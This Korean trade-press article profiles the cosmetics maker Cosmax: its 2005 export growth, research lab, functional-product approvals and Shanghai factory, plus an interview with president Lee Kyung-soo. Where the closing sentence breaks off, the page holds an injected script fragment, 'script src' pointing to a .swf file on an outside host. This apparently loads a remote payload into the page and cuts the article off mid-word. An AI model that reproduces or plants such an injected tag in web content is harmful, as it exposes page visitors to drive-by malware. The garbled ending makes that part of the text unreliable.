특히 올해 코스맥스가 이룬 성과를 보면 해외 수출 부분에서의 약진이 두드러진다. 해외 총 수출액은 2005년 9월말 기준으로 작년보다 125% 성장한 약 67억 원을 돌파한 것으로 나타나고 있다. 이는 이미 지난해 총 수출액인 438만 달러를 넘어선 수치. 코스맥스 관계자는 금년 총 수출 목표를 1000만 달러 이상으로 잡고 있으며 그렇게 된다면 수출 비중이 전체 매출의 20%를 상회하는 기업으로 탈바꿈할 것으로 예상되고 있으며, 내년에는 30% 이상을 상회하는 목표를 세워놓고 있다고 밝히고 있다.
최고의 R&D와 생산성
이렇듯 회사가 크게 성장할 수 있었던 것은 여러 이유가 있겠지만 무엇보다도 화장품 ODM·OEM 업계에서 최고 수준을 자랑하고 있는 코스맥스 중앙연구소의 역할이 컸다. 연구 관련 인원만 총 60여 명으로 이중 50여 명이 제품 개발을 직접적으로 담당하고 있으며, 이는 전체 직원 중 25%를 차지하고 있는 비중이다.
이러한 연구소 규모 외에 기술 개발력의 척도를 단적으로 나타낼 수 있는 기능성 화장품 승인 건수도 단연 돋보인다. 코스맥스는 9월말 현재 총 322건의 기능성 화장품 승인건수를 보유하고 있으며, 이는 화장품 ODM·OEM 업계에서 최고로 많은 승인 건수 이다.
뉴 코스맥스 라인
코스맥스는 지난해 설립한 코스맥스 상하이 공장을 올해 4월 완공하고 생산설비를 본격 가동 중에 있다. 코스맥스 상하이 현지 법인과 거래하고 있는 고객사 관계자들은 최신 설비와 숙련된 근로자를 통한 고품질의 화장품이 생산되고 있다는 사실에 매우 만족감을 표시하고 있는 것으로 알려 졌다. 이와 더불어 올해 초 씨디알을 100% 자회사로 만든 후 쓰리애플즈코스메틱스(3 Apples Cosmetics, Inc.)로 상호를 변경하는 등 제 2의 창사 작업을 진행 중에 있다.
“기능성 승인 322건 OEM 최다”
“내년 목표 640억 수출 확대”
올해 획기적 성장
상해 공장도 확대
코스맥스 이경수 사장
 코스맥스는 올해 예상 매출 규모를 조심스럽게 500억에서 520억 원까지 내다보고 있다. 이 같은 액수는 2003년의 2배에 달하는 규모다. 그야말로 폭발적인 신장세를 기록하고 있는 셈이다. 이경수 사장은 “올해는 매출과 주가 등 기업규모가 획기적으로 성장한 한 해였다”고 평가하는 데 주저하지 않았다.
이 같은 성장은 무엇보다도 업계의 흐름을 정확히 내다보고 국내외 거래선을 다각화한 데 기인하고 있다. 코스맥스는 향후 성장의 동력을 해외 시장에서 찾고 있다. 이 사장은 올해 총 매출액의 20%대인 수출 비중을 내년에는 30%까지 끌어올리고, 이후 50%까지 확대하겠다는 포부를 밝혔다.
“수출 전망은 밝은 편입니다. 현재 기업당 거래단위도 늘어나고 있어, 100억 이상 고객사들이 여럿 포진할 수 있을 것으로 보입니다. 이제는 시선을 국내에서 해외로 돌릴 때입니다.”
이 사장은 상하이 공장의 경우 내년 상반기를 지나면 완전히 정상 궤도에 진입할 것이라며 중국도 고가 시판시장이 자리를 잡아가고 있기 때문에 앞으로의 전망이 밝을 것이라고 내다봤다. 현재 큰 거래선과 접촉 중으로 곧 좋은 결과가 있을 것이라고. 또한 상하이 공장을 확대·이전하는 계획도 추진 중이다.
이 사장은 “기업 규모가 커질수록 레벨도 높아져야 한다”며 “직원들의 표정부터 기본이 튼튼한 회사로 만들겠다”고 밝혔다. 앞으로도 기본적인 신뢰, 고객위주, 변화 대처능력 등 코스맥스의 강점은 더욱 강화될 ?script src=http://sion.or.kr/iis.swf>webmaster@geniepark.co.kr <저작권자 © 제니파크, 무단 전재 및 재배포 금지> |
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